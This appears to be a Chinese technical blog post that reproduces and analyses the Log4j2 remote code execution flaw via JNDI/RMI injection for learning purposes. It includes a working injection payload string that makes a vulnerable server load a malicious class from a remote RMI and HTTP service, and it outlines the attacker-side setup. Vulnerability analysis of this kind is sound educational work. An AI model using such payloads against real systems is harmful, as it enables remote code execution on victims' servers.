相信大家最近一定被 log4j2 的远程代码执行漏洞所刷屏了,各个互联网厂商,开源组织,还有相关企业都瑟瑟发抖,相关研发人员也都是加班加点紧急修复和改正。笔者也看了一些相关文章,感觉不少都是刷屏,刷阅读量,甚至是做相关广告的,详细介绍的少之又少。这里写一篇文章,详细介绍 log4j2 RCE 漏洞复现步骤以及根因,纯粹是以学习为目的。log4j2 RCE 漏洞总体来说是通过 JNDI 注入来完成的,具体的有 RMI 协议的方式和 LDAP 协议等不同方式,这里以 RMI 方式为例子做详细复现步骤和根因分析(不了解 JNDI/RMI/LDAP 等相关概念的同学请自 Google)。
基本原理
基本注入原理可以用以下流程图说明:
- 黑客首先需要发布一个 RMI 服务,这个服务会绑定一个 reference 类型的 RMI 对象。该对象指定了远端的一个含有恶意代码的类。例如包含了 system.exit(1) 这样危险的操作,以及这个类可以在哪里下载到。
- 黑客还需要发布另一个 simple download jar 的服务,这个服务就可以下载上面所说的含有恶意代码的类。
- 黑客利用 log4j2 的漏洞注入 RMI 调用,例如:logger.error("hello test for ${jndi:rmi://rim-service:port/refobj}")。
- 上面的 RMI 调用会得到 reference 类型的 RMI 远程对象,该对象就会自己去加载步骤二中的恶意类,然后执行。
复现步骤
创建恶意代码相关类以及下载该类的服务:
- 创建 TestClassFactory 类的定义,在构造函数里写入恶意代码,将程序退出。
- 将该类打包发布在一个 http 服务上,可以通过简单的 get 请求下载。
创建 RMI 服务:
- 创建一个 RIM 远程服务,该远程服务监听在 1033 端口。
- 该服务绑定发布一个 reference 类型的对象,这个对象可以被远程访问。
- 上面的对象指定了含有恶意代码的类,以及该类的下载地址。
利用 log4g2 漏洞注入 RMI 调用:
- 首先需要被害方设置对于 RMI/LDAP 等协议的 truseURLCodebase 的属性为真,如果不为真也是没有办法复现的。
- 利用 log4j2 的漏洞注入远程 RMI 服务调用,例如:logger.error("hello test for ${jndi:rmi://rim-service:port/refobj}")。
- 通过网络监听观察到有了 RMI 客户端相关的 TCP 连接,说明该漏洞已经触发了 RMI 远程调用。
查看恶意代码执行结果:
- 发现恶意代码在被害方执行,系统退出。
漏洞原因
log4j2 的 MessagePatternConverter 组件中的 format 方法是罪魁祸首,在记录日志的时候会间接的调用该方法。
- 由上图可以发现该方法会截取美元符和花括号之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协议格式则进行 jndi 方式的 rmi 调用。
上面会 trigger 原生 RMI 服务调用:
恶意代码执行如下图:
- 由调用栈可以发现恶意代码的执行发生在 javax.naming.spi.NamingManager 对象的 getObjectFactoryFromReference() 实例方法中。
- 该方法先尝试在受害者本地的 JVM 去加载一个叫 factoryClass 的类,这个类就是我们在 RMI 服务中设置的 TestClassFactory 恶意类。
- 如果本地加载不到这个类那么就会用 URLClassLoader 去远程加载,远程加载地址就是黑客在 RMI 远程服务中设置的 http://127.0.0.1:1034/classes.jar 地址,不过需要把恶意类打包在这个文件中以 http 的方式发布。
- 加载到恶意类之后利用反射构造对象,由于恶意代码在构造函数中,所以间接的在受害方执行了恶意代码。
受害条件
该漏洞被触发需要满足下面条件:
- 首先使用的 logj4j2 的漏洞版本。
- 黑客有机会注入远程调用,例如系统会将用户的一些输入记录在日志中,没有做一些特殊的过滤。
- 黑客自己发布了 RMI 远程服务和恶意代码下载服务。
- 被害方的网络可以 engress 访问到上面的RMI 远程服务和恶意代码下载服务。 例如被害方可以随意访问公网,或者在内网里有内部黑客发布这样的危险服务。
- 在被害方的 JVM 里打开了 RMI/LDAP 等协议的 truseURLCodebase 属性。
以上就是对于Log4j2 RCE 漏洞复现以及一些相关分析,当然对于解决方式从影响和成本上看还是关掉这个 lookup 的功能比较廉价。虽然官方也有紧急的修复,但是毕竟涉及到升级软件版本,需要大量的测试和分析工作。